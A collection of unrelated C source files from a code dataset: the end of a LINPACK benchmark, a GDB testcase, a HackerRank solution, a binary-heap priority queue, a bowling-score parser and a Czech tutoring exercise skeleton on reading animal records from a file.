x1 = x[0] - 1;
x2 = x[n-1] - 1;
printf("norm resid resid machep");
printf(" x[0]-1 x[n-1]-1\n");
printf("%6.1f %17.8e%17.8e%17.8e%17.8e\n\n",
(double)residn, (double)resid, (double)epsn,
(double)x1, (double)x2);
printf("Times are reported for matrices of order %5d\n",n);
printf("1 pass times for array with leading dimension of%5d\n\n",lda);
printf(" dgefa dgesl total Mflops unit");
printf(" ratio\n");
atime[2][0] = total;
if (total > 0.0)
{
atime[3][0] = ops/(1.0e6*total);
atime[4][0] = 2.0/atime[3][0];
}
else
{
atime[3][0] = 0.0;
atime[4][0] = 0.0;
}
atime[5][0] = total/cray;
print_time(0);
/************************************************************************
* Calculate overhead of executing matgen procedure *
************************************************************************/
printf("\nCalculating matgen overhead\n");
pass = -20;
loop = NTIMES;
do
{
start_time();
pass = pass + 1;
for ( i = 0 ; i < loop ; i++)
{
matgen(a,lda,n,b,&norma);
}
end_time();
overhead1 = secs;
printf("%10d times %6.2f seconds\n", loop, overhead1);
if (overhead1 > runSecs)
{
pass = 0;
}
if (pass < 0)
{
if (overhead1 < 0.1)
{
loop = loop * 10;
}
else
{
loop = loop * 2;
}
}
}
while (pass < 0);
overhead1 = overhead1 / (double)loop;
printf("Overhead for 1 matgen %12.5f seconds\n\n", overhead1);
/************************************************************************
* Calculate matgen/dgefa passes for runSecs seconds *
************************************************************************/
printf("Calculating matgen/dgefa passes for %d seconds\n", (int)runSecs);
pass = -20;
ntimes = NTIMES;
do
{
start_time();
pass = pass + 1;
for ( i = 0 ; i < ntimes ; i++)
{
matgen(a,lda,n,b,&norma);
dgefa(a,lda,n,ipvt,&info );
}
end_time();
time2 = secs;
printf("%10d times %6.2f seconds\n", ntimes, time2);
if (time2 > runSecs)
{
pass = 0;
}
if (pass < 0)
{
if (time2 < 0.1)
{
ntimes = ntimes * 10;
}
else
{
ntimes = ntimes * 2;
}
}
}
while (pass < 0);
ntimes = (int)(runSecs * (double)ntimes / time2);
if (ntimes == 0) ntimes = 1;
printf("Passes used %10d \n\n", ntimes);
printf("Times for array with leading dimension of%4d\n\n",lda);
printf(" dgefa dgesl total Mflops unit");
printf(" ratio\n");
/************************************************************************
* Execute 5 passes *
************************************************************************/
tm2 = ntimes * overhead1;
atime[3][6] = 0;
for (j=1 ; j<6 ; j++)
{
start_time();
for (i = 0; i < ntimes; i++)
{
matgen(a,lda,n,b,&norma);
dgefa(a,lda,n,ipvt,&info );
}
end_time();
atime[0][j] = (secs - tm2)/ntimes;
start_time();
for (i = 0; i < ntimes; i++)
{
dgesl(a,lda,n,ipvt,b,0);
}
end_time();
atime[1][j] = secs/ntimes;
total = atime[0][j] + atime[1][j];
atime[2][j] = total;
atime[3][j] = ops/(1.0e6*total);
atime[4][j] = 2.0/atime[3][j];
atime[5][j] = total/cray;
atime[3][6] = atime[3][6] + atime[3][j];
print_time(j);
}
atime[3][6] = atime[3][6] / 5.0;
printf("Average %11.2f\n",
(double)atime[3][6]);
printf("\nCalculating matgen2 overhead\n");
/************************************************************************
* Calculate overhead of executing matgen procedure *
************************************************************************/
start_time();
for ( i = 0 ; i < loop ; i++)
{
matgen(aa,ldaa,n,b,&norma);
}
end_time();
overhead2 = secs;
overhead2 = overhead2 / (double)loop;
printf("Overhead for 1 matgen %12.5f seconds\n\n", overhead2);
printf("Times for array with leading dimension of%4d\n\n",ldaa);
printf(" dgefa dgesl total Mflops unit");
printf(" ratio\n");
/************************************************************************
* Execute 5 passes *
************************************************************************/
tm2 = ntimes * overhead2;
atime[3][12] = 0;
for (j=7 ; j<12 ; j++)
{
start_time();
for (i = 0; i < ntimes; i++)
{
matgen(aa,ldaa,n,b,&norma);
dgefa(aa,ldaa,n,ipvt,&info );
}
end_time();
atime[0][j] = (secs - tm2)/ntimes;
start_time();
for (i = 0; i < ntimes; i++)
{
dgesl(aa,ldaa,n,ipvt,b,0);
}
end_time();
atime[1][j] = secs/ntimes;
total = atime[0][j] + atime[1][j];
atime[2][j] = total;
atime[3][j] = ops/(1.0e6*total);
atime[4][j] = 2.0/atime[3][j];
atime[5][j] = total/cray;
atime[3][12] = atime[3][12] + atime[3][j];
print_time(j);
}
atime[3][12] = atime[3][12] / 5.0;
printf("Average %11.2f\n",
(double)atime[3][12]);
/************************************************************************
* Use minimum average as overall Mflops rating *
************************************************************************/
mflops = atime[3][6];
if (atime[3][12] < mflops) mflops = atime[3][12];
printf("\n");
printf( "%s ", ROLLING);
printf( "%s ", PREC);
printf(" Precision %11.2f Mflops \n\n",mflops);
max1 = 0;
for (i=1 ; i<6 ; i++)
{
if (atime[3][i] > max1) max1 = atime[3][i];
}
max2 = 0;
for (i=7 ; i<12 ; i++)
{
if (atime[3][i] > max2) max2 = atime[3][i];
}
if (max1 < max2) max2 = max1;
sprintf(was[0], "%16.1f",(double)residn);
sprintf(was[1], "%16.8e",(double)resid);
sprintf(was[2], "%16.8e",(double)epsn);
sprintf(was[3], "%16.8e",(double)x1);
sprintf(was[4], "%16.8e",(double)x2);
/*
// Values for Watcom
sprintf(expect[0], " 0.4");
sprintf(expect[1], " 7.41628980e-014");
sprintf(expect[2], " 1.00000000e-015");
sprintf(expect[3], "-1.49880108e-014");
sprintf(expect[4], "-1.89848137e-014");
// Values for Visual C++
sprintf(expect[0], " 1.7");
sprintf(expect[1], " 7.41628980e-014");
sprintf(expect[2], " 2.22044605e-016");
sprintf(expect[3], "-1.49880108e-014");
sprintf(expect[4], "-1.89848137e-014");
// Values for Ubuntu GCC 32 Bit
sprintf(expect[0], " 1.9");
sprintf(expect[1], " 8.39915160e-14");
sprintf(expect[2], " 2.22044605e-16");
sprintf(expect[3], " -6.22835117e-14");
sprintf(expect[4], " -4.16333634e-14");
*/
// Values for Ubuntu GCC 32 Bit
sprintf(expect[0], " 1.7");
sprintf(expect[1], " 7.41628980e-14");
sprintf(expect[2], " 2.22044605e-16");
sprintf(expect[3], " -1.49880108e-14");
sprintf(expect[4], " -1.89848137e-14");
sprintf(title[0], "norm. resid");
sprintf(title[1], "resid ");
sprintf(title[2], "machep ");
sprintf(title[3], "x[0]-1 ");
sprintf(title[4], "x[n-1]-1 ");
if (strtol(opt, NULL, 10) == 0)
{
sprintf(expect[2], " 8.88178420e-016");
}
errors = 0;
printf ("\n");
}
/*----------------------*/
void print_time (int row)
{
printf("%11.5f%11.5f%11.5f%11.2f%11.4f%11.4f\n", (double)atime[0][row],
(double)atime[1][row], (double)atime[2][row], (double)atime[3][row],
(double)atime[4][row], (double)atime[5][row]);
return;
}
/*----------------------*/
void matgen (REAL a[], int lda, int n, REAL b[], REAL *norma)
/* We would like to declare a[][lda], but c does not allow it. In this
function, references to a[i][j] are written a[lda*i+j]. */
{
int init, i, j;
init = 1325;
*norma = 0.0;
for (j = 0; j < n; j++) {
for (i = 0; i < n; i++) {
init = 3125*init % 65536;
a[lda*j+i] = (init - 32768.0)/16384.0;
*norma = (a[lda*j+i] > *norma) ? a[lda*j+i] : *norma;
/* alternative for some compilers
if (fabs(a[lda*j+i]) > *norma) *norma = fabs(a[lda*j+i]);
*/
}
}
for (i = 0; i < n; i++) {
b[i] = 0.0;
}
for (j = 0; j < n; j++) {
for (i = 0; i < n; i++) {
b[i] = b[i] + a[lda*j+i];
}
}
return;
}
/*----------------------*/
void dgefa(REAL a[], int lda, int n, int ipvt[], int *info)
/* We would like to declare a[][lda], but c does not allow it. In this
function, references to a[i][j] are written a[lda*i+j]. */
/*
dgefa factors a double precision matrix by gaussian elimination.
dgefa is usually called by dgeco, but it can be called
directly with a saving in time if rcond is not needed.
(time for dgeco) = (1 + 9/n)*(time for dgefa) .
on entry
a REAL precision[n][lda]
the matrix to be factored.
lda integer
the leading dimension of the array a .
n integer
the order of the matrix a .
on return
a an upper triangular matrix and the multipliers
which were used to obtain it.
the factorization can be written a = l*u where
l is a product of permutation and unit lower
triangular matrices and u is upper triangular.
ipvt integer[n]
an integer vector of pivot indices.
info integer
= 0 normal value.
= k if u[k][k] .eq. 0.0 . this is not an error
condition for this subroutine, but it does
indicate that dgesl or dgedi will divide by zero
if called. use rcond in dgeco for a reliable
indication of singularity.
linpack. this version dated 08/14/78 .
cleve moler, university of new mexico, argonne national lab.
functions
blas daxpy,dscal,idamax
*/
{
/* internal variables */
REAL t;
int j,k,kp1,l,nm1;
/* gaussian elimination with partial pivoting */
*info = 0;
nm1 = n - 1;
if (nm1 >= 0) {
for (k = 0; k < nm1; k++) {
kp1 = k + 1;
/* find l = pivot index */
l = idamax(n-k,&a[lda*k+k],1) + k;
ipvt[k] = l;
/* zero pivot implies this column already
triangularized */
if (a[lda*k+l] != ZERO) {
/* interchange if necessary */
if (l != k) {
t = a[lda*k+l];
a[lda*k+l] = a[lda*k+k];
a[lda*k+k] = t;
}
/* compute multipliers */
t = -ONE/a[lda*k+k];
dscal(n-(k+1),t,&a[lda*k+k+1],1);
/* row elimination with column indexing */
for (j = kp1; j < n; j++) {
t = a[lda*j+l];
if (l != k) {
a[lda*j+l] = a[lda*j+k];
a[lda*j+k] = t;
}
daxpy(n-(k+1),t,&a[lda*k+k+1],1,
&a[lda*j+k+1],1);
}
}
else {
*info = k;
}
}
}
ipvt[n-1] = n-1;
if (a[lda*(n-1)+(n-1)] == ZERO) *info = n-1;
return;
}
/*----------------------*/
void dgesl(REAL a[],int lda,int n,int ipvt[],REAL b[],int job )
/* We would like to declare a[][lda], but c does not allow it. In this
function, references to a[i][j] are written a[lda*i+j]. */
/*
dgesl solves the double precision system
a * x = b or trans(a) * x = b
using the factors computed by dgeco or dgefa.
on entry
a double precision[n][lda]
the output from dgeco or dgefa.
lda integer
the leading dimension of the array a .
n integer
the order of the matrix a .
ipvt integer[n]
the pivot vector from dgeco or dgefa.
b double precision[n]
the right hand side vector.
job integer
= 0 to solve a*x = b ,
= nonzero to solve trans(a)*x = b where
trans(a) is the transpose.
on return
b the solution vector x .
error condition
a division by zero will occur if the input factor contains a
zero on the diagonal. technically this indicates singularity
but it is often caused by improper arguments or improper
setting of lda . it will not occur if the subroutines are
called correctly and if dgeco has set rcond .gt. 0.0
or dgefa has set info .eq. 0 .
to compute inverse(a) * c where c is a matrix
with p columns
dgeco(a,lda,n,ipvt,rcond,z)
if (!rcond is too small){
for (j=0,j<p,j++)
dgesl(a,lda,n,ipvt,c[j][0],0);
}
linpack. this version dated 08/14/78 .
cleve moler, university of new mexico, argonne national lab.
functions
blas daxpy,ddot
*/
{
/* internal variables */
REAL t;
int k,kb,l,nm1;
nm1 = n - 1;
if (job == 0) {
/* job = 0 , solve a * x = b
first solve l*y = b */
if (nm1 >= 1) {
for (k = 0; k < nm1; k++) {
l = ipvt[k];
t = b[l];
if (l != k){
b[l] = b[k];
b[k] = t;
}
daxpy(n-(k+1),t,&a[lda*k+k+1],1,&b[k+1],1 );
}
}
/* now solve u*x = y */
for (kb = 0; kb < n; kb++) {
k = n - (kb + 1);
b[k] = b[k]/a[lda*k+k];
t = -b[k];
daxpy(k,t,&a[lda*k+0],1,&b[0],1 );
}
}
else {
/* job = nonzero, solve trans(a) * x = b
first solve trans(u)*y = b */
for (k = 0; k < n; k++) {
t = ddot(k,&a[lda*k+0],1,&b[0],1);
b[k] = (b[k] - t)/a[lda*k+k];
}
/* now solve trans(l)*x = y */
if (nm1 >= 1) {
for (kb = 1; kb < nm1; kb++) {
k = n - (kb+1);
b[k] = b[k] + ddot(n-(k+1),&a[lda*k+k+1],1,&b[k+1],1);
l = ipvt[k];
if (l != k) {
t = b[l];
b[l] = b[k];
b[k] = t;
}
}
}
}
return;
}
/*----------------------*/
void daxpy(int n, REAL da, REAL dx[], int incx, REAL dy[], int incy)
/*
constant times a vector plus a vector.
jack dongarra, linpack, 3/11/78.
*/
{
int i,ix,iy,m,mp1;
mp1 = 0;
m = 0;
if(n <= 0) return;
if (da == ZERO) return;
if(incx != 1 || incy != 1) {
/* code for unequal increments or equal increments
not equal to 1 */
ix = 0;
iy = 0;
if(incx < 0) ix = (-n+1)*incx;
if(incy < 0)iy = (-n+1)*incy;
for (i = 0;i < n; i++) {
dy[iy] = dy[iy] + da*dx[ix];
ix = ix + incx;
iy = iy + incy;
}
return;
}
/* code for both increments equal to 1 */
#ifdef ROLL
for (i = 0;i < n; i++) {
dy[i] = dy[i] + da*dx[i];
}
#endif
#ifdef UNROLL
m = n % 4;
if ( m != 0) {
for (i = 0; i < m; i++)
dy[i] = dy[i] + da*dx[i];
if (n < 4) return;
}
for (i = m; i < n; i = i + 4) {
dy[i] = dy[i] + da*dx[i];
dy[i+1] = dy[i+1] + da*dx[i+1];
dy[i+2] = dy[i+2] + da*dx[i+2];
dy[i+3] = dy[i+3] + da*dx[i+3];
}
#endif
return;
}
/*----------------------*/
REAL ddot(int n, REAL dx[], int incx, REAL dy[], int incy)
/*
forms the dot product of two vectors.
jack dongarra, linpack, 3/11/78.
*/
{
REAL dtemp;
int i,ix,iy,m,mp1;
mp1 = 0;
m = 0;
dtemp = ZERO;
if(n <= 0) return(ZERO);
if(incx != 1 || incy != 1) {
/* code for unequal increments or equal increments
not equal to 1 */
ix = 0;
iy = 0;
if (incx < 0) ix = (-n+1)*incx;
if (incy < 0) iy = (-n+1)*incy;
for (i = 0;i < n; i++) {
dtemp = dtemp + dx[ix]*dy[iy];
ix = ix + incx;
iy = iy + incy;
}
return(dtemp);
}
/* code for both increments equal to 1 */
#ifdef ROLL
for (i=0;i < n; i++)
dtemp = dtemp + dx[i]*dy[i];
return(dtemp);
#endif
#ifdef UNROLL
m = n % 5;
if (m != 0) {
for (i = 0; i < m; i++)
dtemp = dtemp + dx[i]*dy[i];
if (n < 5) return(dtemp);
}
for (i = m; i < n; i = i + 5) {
dtemp = dtemp + dx[i]*dy[i] +
dx[i+1]*dy[i+1] + dx[i+2]*dy[i+2] +
dx[i+3]*dy[i+3] + dx[i+4]*dy[i+4];
}
return(dtemp);
#endif
}
/*----------------------*/
void dscal(int n, REAL da, REAL dx[], int incx)
/* scales a vector by a constant.
jack dongarra, linpack, 3/11/78.
*/
{
int i,m,mp1,nincx;
mp1 = 0;
m = 0;
if(n <= 0)return;
if(incx != 1) {
/* code for increment not equal to 1 */
nincx = n*incx;
for (i = 0; i < nincx; i = i + incx)
dx[i] = da*dx[i];
return;
}
/* code for increment equal to 1 */
#ifdef ROLL
for (i = 0; i < n; i++)
dx[i] = da*dx[i];
#endif
#ifdef UNROLL
m = n % 5;
if (m != 0) {
for (i = 0; i < m; i++)
dx[i] = da*dx[i];
if (n < 5) return;
}
for (i = m; i < n; i = i + 5){
dx[i] = da*dx[i];
dx[i+1] = da*dx[i+1];
dx[i+2] = da*dx[i+2];
dx[i+3] = da*dx[i+3];
dx[i+4] = da*dx[i+4];
}
#endif
}
/*----------------------*/
int idamax(int n, REAL dx[], int incx)
/*
finds the index of element having max. absolute value.
jack dongarra, linpack, 3/11/78.
*/
{
REAL dmax;
int i, ix, itemp;
if( n < 1 ) return(-1);
if(n ==1 ) return(0);
if(incx != 1) {
/* code for increment not equal to 1 */
ix = 1;
dmax = fabs((double)dx[0]);
ix = ix + incx;
for (i = 1; i < n; i++) {
if(fabs((double)dx[ix]) > dmax) {
itemp = i;
dmax = fabs((double)dx[ix]);
}
ix = ix + incx;
}
}
else {
/* code for increment equal to 1 */
itemp = 0;
dmax = fabs((double)dx[0]);
for (i = 1; i < n; i++) {
if(fabs((double)dx[i]) > dmax) {
itemp = i;
dmax = fabs((double)dx[i]);
}
}
}
return (itemp);
}
/*----------------------*/
REAL epslon (REAL x)
/*
estimate unit roundoff in quantities of size x.
*/
{
REAL a,b,c,eps;
/*
this program should function properly on all systems
satisfying the following two assumptions,
1. the base used in representing dfloating point
numbers is not a power of three.
2. the quantity a in statement 10 is represented to
the accuracy used in dfloating point variables
that are stored in memory.
the statement number 10 and the go to 10 are intended to
force optimizing compilers to generate code satisfying
assumption 2.
under these assumptions, it should be true that,
a is not exactly equal to four-thirds,
b has a zero for its last bit or digit,
c is not exactly equal to one,
eps measures the separation of 1.0 from
the next larger dfloating point number.
the developers of eispack would appreciate being informed
about any systems where these assumptions do not hold.
*****************************************************************
this routine is one of the auxiliary routines used by eispack iii
to avoid machine dependencies.
*****************************************************************
this version dated 4/6/83.
*/
a = 4.0e0/3.0e0;
eps = ZERO;
while (eps == ZERO) {
b = a - ONE;
c = b + b + b;
eps = fabs((double)(c-ONE));
}
return(eps*fabs((double)x));
}
/*----------------------*/
void dmxpy (int n1, REAL y[], int n2, int ldm, REAL x[], REAL m[])
/* We would like to declare m[][ldm], but c does not allow it. In this
function, references to m[i][j] are written m[ldm*i+j]. */
/*
purpose:
multiply matrix m times vector x and add the result to vector y.
parameters:
n1 integer, number of elements in vector y, and number of rows in
matrix m
y double [n1], vector of length n1 to which is added
the product m*x
n2 integer, number of elements in vector x, and number of columns
in matrix m
ldm integer, leading dimension of array m
x double [n2], vector of length n2
m double [ldm][n2], matrix of n1 rows and n2 columns
----------------------------------------------------------------------
*/
{
int j,i,jmin;
/* cleanup odd vector */
j = n2 % 2;
if (j >= 1) {
j = j - 1;
for (i = 0; i < n1; i++)
y[i] = (y[i]) + x[j]*m[ldm*j+i];
}
/* cleanup odd group of two vectors */
j = n2 % 4;
if (j >= 2) {
j = j - 1;
for (i = 0; i < n1; i++)
y[i] = ( (y[i])
+ x[j-1]*m[ldm*(j-1)+i]) + x[j]*m[ldm*j+i];
}
/* cleanup odd group of four vectors */
j = n2 % 8;
if (j >= 4) {
j = j - 1;
for (i = 0; i < n1; i++)
y[i] = ((( (y[i])
+ x[j-3]*m[ldm*(j-3)+i])
+ x[j-2]*m[ldm*(j-2)+i])
+ x[j-1]*m[ldm*(j-1)+i]) + x[j]*m[ldm*j+i];
}
/* cleanup odd group of eight vectors */
j = n2 % 16;
if (j >= 8) {
j = j - 1;
for (i = 0; i < n1; i++)
y[i] = ((((((( (y[i])
+ x[j-7]*m[ldm*(j-7)+i]) + x[j-6]*m[ldm*(j-6)+i])
+ x[j-5]*m[ldm*(j-5)+i]) + x[j-4]*m[ldm*(j-4)+i])
+ x[j-3]*m[ldm*(j-3)+i]) + x[j-2]*m[ldm*(j-2)+i])
+ x[j-1]*m[ldm*(j-1)+i]) + x[j] *m[ldm*j+i];
}
/* main loop - groups of sixteen vectors */
jmin = (n2%16)+16;
for (j = jmin-1; j < n2; j = j + 16) {
for (i = 0; i < n1; i++)
y[i] = ((((((((((((((( (y[i])
+ x[j-15]*m[ldm*(j-15)+i])
+ x[j-14]*m[ldm*(j-14)+i])
+ x[j-13]*m[ldm*(j-13)+i])
+ x[j-12]*m[ldm*(j-12)+i])
+ x[j-11]*m[ldm*(j-11)+i])
+ x[j-10]*m[ldm*(j-10)+i])
+ x[j- 9]*m[ldm*(j- 9)+i])
+ x[j- 8]*m[ldm*(j- 8)+i])
+ x[j- 7]*m[ldm*(j- 7)+i])
+ x[j- 6]*m[ldm*(j- 6)+i])
+ x[j- 5]*m[ldm*(j- 5)+i])
+ x[j- 4]*m[ldm*(j- 4)+i])
+ x[j- 3]*m[ldm*(j- 3)+i])
+ x[j- 2]*m[ldm*(j- 2)+i])
+ x[j- 1]*m[ldm*(j- 1)+i])
+ x[j] *m[ldm*j+i];
}
return;
}
|
the_stack_data/72013486.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2016-2017 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
int
compute_something (int i)
{
return i - 1;
}
int
main (void)
{
return compute_something (1);
}
|
the_stack_data/93888628.c
|
#include <assert.h>
#include <ctype.h>
#include <limits.h>
#include <math.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* readline();
char* ltrim(char*);
char* rtrim(char*);
char** split_string(char*);
int parse_int(char*);
/*
* Complete the 'diagonalDifference' function below.
*
* The function is expected to return an INTEGER.
* The function accepts 2D_INTEGER_ARRAY arr as parameter.
*/
int diagonalDifference(int arr_rows, int arr_columns, int** arr) {
int d = 0;
for(int i = 0; i < arr_rows && i < arr_columns; i++){
d += arr[i][i];
d -= arr[i][arr_columns-i-1];
}
return d < 0 ? -1*d : d;
}
int main()
{
FILE* fptr = fopen(getenv("OUTPUT_PATH"), "w");
int n = parse_int(ltrim(rtrim(readline())));
int** arr = malloc(n * sizeof(int*));
for (int i = 0; i < n; i++) {
*(arr + i) = malloc(n * (sizeof(int)));
char** arr_item_temp = split_string(rtrim(readline()));
for (int j = 0; j < n; j++) {
int arr_item = parse_int(*(arr_item_temp + j));
*(*(arr + i) + j) = arr_item;
}
}
int result = diagonalDifference(n, n, arr);
fprintf(fptr, "%d\n", result);
fclose(fptr);
return 0;
}
char* readline() {
size_t alloc_length = 1024;
size_t data_length = 0;
char* data = malloc(alloc_length);
while (true) {
char* cursor = data + data_length;
char* line = fgets(cursor, alloc_length - data_length, stdin);
if (!line) {
break;
}
data_length += strlen(cursor);
if (data_length < alloc_length - 1 || data[data_length - 1] == '\n') {
break;
}
alloc_length <<= 1;
data = realloc(data, alloc_length);
if (!data) {
data = '\0';
break;
}
}
if (data[data_length - 1] == '\n') {
data[data_length - 1] = '\0';
data = realloc(data, data_length);
if (!data) {
data = '\0';
}
} else {
data = realloc(data, data_length + 1);
if (!data) {
data = '\0';
} else {
data[data_length] = '\0';
}
}
return data;
}
char* ltrim(char* str) {
if (!str) {
return '\0';
}
if (!*str) {
return str;
}
while (*str != '\0' && isspace(*str)) {
str++;
}
return str;
}
char* rtrim(char* str) {
if (!str) {
return '\0';
}
if (!*str) {
return str;
}
char* end = str + strlen(str) - 1;
while (end >= str && isspace(*end)) {
end--;
}
*(end + 1) = '\0';
return str;
}
char** split_string(char* str) {
char** splits = NULL;
char* token = strtok(str, " ");
int spaces = 0;
while (token) {
splits = realloc(splits, sizeof(char*) * ++spaces);
if (!splits) {
return splits;
}
splits[spaces - 1] = token;
token = strtok(NULL, " ");
}
return splits;
}
int parse_int(char* str) {
char* endptr;
int value = strtol(str, &endptr, 10);
if (endptr == str || *endptr != '\0') {
exit(EXIT_FAILURE);
}
return value;
}
|
the_stack_data/22013226.c
|
#include <stdio.h>
typedef struct Vector {
float x;
float y;
float z;
} Vector;
typedef struct Color {
unsigned short int red;
unsigned short int green;
unsigned short int blue;
} Color;
typedef struct Vertex {
Vector position;
Color color;
} Vertex;
int main(int argc, char **argv) {
Vertex vertices[] = {
{.position = {3323.176, 6562.231, 9351.231},
.color = {3040, 34420, 54321}},
{.position = {7623.982, 2542.231, 9823.121},
.color = {32736, 5342, 2321}},
{.position = {6352.121, 3432.111, 9763.232},
.color = {56222, 36612, 11214}},
{.position = {6729.862, 2347.212, 3421.322},
.color = {45263, 36291, 36701}}
};
FILE *file = fopen("colors.bin", "wb");
if (file == NULL)
return -1;
fwrite(vertices, sizeof(Vertex), 4, file);
fclose(file);
return 0;
}
|
the_stack_data/300685.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct {
int priority;
char *data;
} node_t;
typedef struct {
node_t *nodes;
int len;
int size;
} heap_t;
void push (heap_t *h, int priority, char *data) {
if (h->len + 1 >= h->size) {
h->size = h->size ? h->size * 2 : 4;
h->nodes = (node_t *)realloc(h->nodes, h->size * sizeof (node_t));
}
int i = h->len + 1;
int j = i / 2;
while (i > 1 && h->nodes[j].priority > priority) {
h->nodes[i] = h->nodes[j];
i = j;
j = j / 2;
}
h->nodes[i].priority = priority;
h->nodes[i].data = data;
h->len++;
}
char *pop (heap_t *h) {
int i, j, k;
if (!h->len) {
return NULL;
}
char *data = h->nodes[1].data;
h->nodes[1] = h->nodes[h->len];
h->len--;
i = 1;
while (1) {
k = i;
j = 2 * i;
if (j <= h->len && h->nodes[j].priority < h->nodes[k].priority) {
k = j;
}
if (j + 1 <= h->len && h->nodes[j + 1].priority < h->nodes[k].priority) {
k = j + 1;
}
if (k == i) {
break;
}
h->nodes[i] = h->nodes[k];
i = k;
}
h->nodes[i] = h->nodes[h->len + 1];
return data;
}
int main () {
heap_t *h = (heap_t *)calloc(1, sizeof (heap_t));
push(h, 3, "Clear drains");
push(h, 4, "Feed cat");
push(h, 5, "Make tea");
push(h, 1, "Solve RC tasks");
push(h, 2, "Tax return");
int i;
for (i = 0; i < 5; i++) {
printf("%s\n", pop(h));
}
return 0;
}
|
the_stack_data/48166.c
|
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, const char **argv)
{
int a = 0;
int result = 0;
// char s[35] = "01 01 01 01 01 01 01 01 01 01";
char s[35] = "81 X 01 01 01 01 01 01 01 01";
#define array_len 11
int score_array[array_len]; // 11 = spare ; 12 = strike
int loc = 0;
int sizeof_s = sizeof(s);
assert(sizeof_s > 10); // 9 x strike and spare on last frame == 11 characters
char single = "";
int final_score = 0;
//result = sscanf("0xa", "%i", &a);
//printf("%x\n", a);
//result = sprintf(&s, "%x", a);
//printf("%s\n", s);
for (int i = 0; i < array_len; i++)
{
score_array[i] = 0;
}
for (int i = 0; i < sizeof_s; i++)
{
if (s[i] == '\0') { break; }
if (s[i] == ' ') { loc++; continue; }
if (s[i] == 'X' || s[i] == 'x') { score_array[loc] = 12; loc++; continue; }
if (s[i] == '/') { score_array[loc] = 11; loc++; continue; }
a = 0;
single = s[i];
result = sscanf(&single, "%i", &a);
if (result == 1)
{
assert(a < 10);
assert(a > 0);
score_array[loc] += a;
assert(score_array[loc] < 10);
}
}
for (int i = 0; i < array_len; i++)
{
if (score_array[i] == 12)
{
final_score += score_array[i + 1];
}
final_score += score_array[i];
}
return 0;
}
|
the_stack_data/125139974.c
|
/*
* Projekt: Doučování pro PR-5
* Téma: Soubory, pole a struktury
* Autor:
* Datum:
*/
#include <stdio.h>
#include <stdlib.h>
// #include <string.h> // pro praci s textovymi retezci
// #include <stdbool.h> // pro praci s typem bool a konstantami true a false
// #include <ctype.h> // isalpha, isspace, islower, isupper, ...
// #include <math.h> // funkce z matematicke knihovny
// #include <float.h> // konstanty pro racionální typy DBL_MAX, DBL_DIG, ...
// #include <limits.h> // konstanty pro celočíselné typy INT_MAX, INT_MIN, ...
/**
* Typ popisující jedno zvíře. Budeme ukládat jeho název a váhu.
*/
typedef struct _tzvire
{
char nazev[21];
float vaha;
} Tzvire;
/**
* Zkopíruj hotovou funkci z projektu zaklady02.
*/
//void tiskniZvire(Tzvire zvire)
/**
* Zkopíruj hotovou funkci z projektu zaklady02.
*/
//void tiskniZvirata(const Tzvire zvirata[], int kolik)
/** Funkce s parametrem soubor - soubor otevřený pro čtení.
* Vrací počet prvků přečtený z prvního řádku souboru jako svou funkční hodnotu.
*/
// nactiPocetZvirat( soubor)
// {
//
//
//
// }
/** Funkce s parametry: f - soubor otevřený pro čtení,
* zvirata - pole zvířat, kolik - počet očekávaných prvků
* Funkce vrací počet skutečně přečtených prvků jako svou funkční hodnotu.
*/
// nactiZvirata( f, zvirata , kolik)
// {
//
// // Čti kolik-krát řádek ze souboru. Každý řádek obsahuje max 20znakový název
// // zvířete a jeho váhu jako desetinné číslo.
// // Načítej přímo do jednotlivých složek prvků pole zvirata.
//
//
//
//
//
// // Nezapomeň vrátit skutečný počet načtených zvířat.
//
// }
/**
* Úkol č. 1
* a. Zkopíruj sem funkce tiskniZvire a tiskniZvirata z projektu zaklady02.
* b. Budeš zpracovávat soubor v tomto formátu:
* - na prvním řádku je počet záznamů v souboru
* - každý další řádek obsahuje dvojici: názevZvířete váha
* Příklad vstupního souboru:
* 3
* Slon 1247.7
* Slepice 1.5
* Pes 15.34
* c. Vytvoř funkce nactiPocetZvirat a nactiZvirata.
* d. Vytvoř pole nad typem Tzvire, pojmenuj ho zoo, o délce přečtené ze souboru.
* e. Načti do něj prvky ze souboru (pomocí funkce nactiZvirata).
* f. Vytiskni pole zoo na obrazovku
*/
void ukol1(char *jmenoSouboru)
{
// otevři a ošetři soubor s názvem uloženým v parametru jmenoSouboru
// načti počet zvířat uložených v souboru
// vytvoř pole zoo nad typem Tzvire a s délkou zjištěnou v předchozím kroku
// načti zvířata ze souboru do zoo
// použij tohle:
// if (nacteno != pocet)
// printf("Bylo nacteno jen %d zvirat, ale v souboru je uveden pocet %d!\n", nacteno, pocet);
// printf("V ZOO jsou tato zvirata:\n");
// tiskniZvirata(zoo, nacteno);
// se souborem je třeba udělat ještě něco...
}
/** Funkce, která vrací pozici nejlehciho zvirete v zoo.
* Parametry: zoo - pole zvířat, kolik - délka pole.
*
* Vytvoř funkci, která vrátí index zvířete v zoo s nejmenší váhou.
* Použij sekvenční vyhledávání v neseřazeném poli.
*/
// najdiNejlehci( zoo , kolik)
// {
//
//
//
//
//
//
//
//
//
// }
/**
* Úkol č. 2
* a. Vytvoř funkci najdiNejlehci.
* b. V souboru zadaného jména najdi nejlehčí zvíře a vytiskni jej na výstup.
* Použij funkce najdiNejlehci a tiskniZvire.
*/
void ukol2(char *jmenoSouboru)
{
// otevři a načti -- to už tu bylo
// najdi nejlehčí zvíře v zoo
printf("V souboru je nejlehčí zvíře ");
// vytiskni nejlehčí zvíře v zoo
printf(".\n");
// ještě něco se souborem...
}
/**
* Zkopíruj hotovou funkci z projektu zaklady02.
*/
//void serad(Tzvire zoo[], int delka)
/** Parametry: f - soubor otevřený pro zápis, zoo - pole zvířat, kolik - délka
* pole
*
* Zapiš zoo do souboru ve stejném formátu, jako výše uvedený vstupní soubor.
